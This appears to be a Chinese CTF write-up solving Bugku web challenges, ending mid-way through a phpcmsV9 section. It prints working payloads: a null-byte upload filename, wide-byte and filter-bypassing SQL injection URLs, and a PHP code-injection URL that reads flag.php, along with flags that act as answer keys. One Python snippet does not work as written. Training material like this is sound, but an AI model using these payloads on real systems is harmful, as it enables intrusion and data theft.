签到题
web2
文件上传测试
经典的题目,用burp抓包得到如下
然后我们更改一下上传路径然后用%00截断一下即可
Content-Disposition: form-data; name="file"; filename="3.png%001.php"
计算题
改一下浏览器中的text的长度
Web3
进去一直弹框,没完没了…直接禁用了F12看源码,发现有一个
<!--KEY{J2sa42ahJK-HS11III}-->
估摸就是答案,格式转换一下。
用python写个简单的脚本即可
s='KEY{J2sa42ahJK-HS11III}'
key=s.split(';')
flag=''
for i in key:
flag+=chr(int(i[2:]))
print flag
sql注入
真的是sql注入啊,每一次都想不到宽字节注入,给自己一个大大的巴掌!下面讲题
首先我们看到了界面以后id是注入点,然后进行各种union select什么的姿势并没有什么卵用。然后好久好久才想到宽字节注入!
实验http://103.238.227.13:10083/index.php?id=%df%27 or 1%23
验证了就是宽字节注入,然后我们观察可以看到给出的是id和key,那么估计查询的时候是两个项,不信可以验证一下
而且这里也给了提示,我们注入的是key表,不行也可以用简单的爆表验证http://103.238.227.13:10083/index.php?id=%df%27 union select 1, table_name from information_schema.tables%23
然后我们查表的过程中会遇到一点小问题,key既是字段名又是表明会产生冲突,我们要用“来包含住,payload如下
http://103.238.227.13:10083/index.php?id=%df%27 union select 1,string from `key` where id =1%23
然后就可以得到一个hash值,结果KEY{54f3320dc261f313ba712eb3f13a1f6d}
SQL注入1
本题坑了我很久。一开始思路偏了以为是盲注,但是大牛说想复杂了。而且之前因为一个;的问题一直没结果。
就是字符串的绕过,但是怎么绕过?我们观察这个函数
这个函数为了防止xss把 类似的标签去掉了,那么我们可以利用这个构造绕过sql的过滤。比如说
可以知道查询确实只有两列,类似的我们根据提示union查询(注意)其实直接就出来了(我太弱了…)
payload:http://103.238.227.13:10087/index.php?id=-1 un<br>ion se<br>lect hash,1 fro<br>m `key`#
本地包含
哪门子本地包含啊,分明是某春秋原题…但是某春秋明显服务器的ubuntu的吧。但是貌似这个服务器不是,不能执行bash指令,但是调用php的函数就好了。还是注入eval( “var_dump($a);”); 这句话。payload如下
http://post2.bugku.com/hello?hello=);print_r(file("./flag.php")); //
原题题解可以看这儿
flag{ccd234c9-c022-4ce3-8a62-e56374e3324f}
变量1
不说话,又是某春秋原题
原题题解还是可以看这儿
Web4
首先进入页面,随便输入一个东西,提示仔细看,所以感觉应该是有什么东西输出但是一下子被刷掉了,用burp抓包看一下!发现果然有东西!
然后我们发现一段js脚本用在线js运行器跑一下!
在线JS传送门
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
var p3 =unescape(p1) + unescape('%35%34%61%61%32' + p2);
console.log( p3);
解密后得到代码
function checkSubmit(){
var a=document.getElementById("password");if("undefined"!=typeof a){
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;
可以看到就是简单的构造一下password呗~
Web5
怎么界面还是一样的???burp抓包发现成了这个…
直接用google的console就完事儿了…是叫brianfuck貌似?
flag在index里
这个题目是文件包含…告诉你flag在index.php中,但是没有显示,肯定被注入掉了,然后我们看到url是xxx?file=…,很像文件包含,尝试一下得到flag
phpcmsV9
这个是常见的php漏洞模板之一,花式cms之一,而且本次西安网赛线下赛正好除了phpcms9的漏洞,正好上手玩儿一下。
告诉你flag的位置,直接了当就是想到任意文件上传(本模板还有mysql注入漏洞)。
首先打开网址
http://phpcms.test.bugku.com/index.php?m=member&c=index&a=register&siteid=1<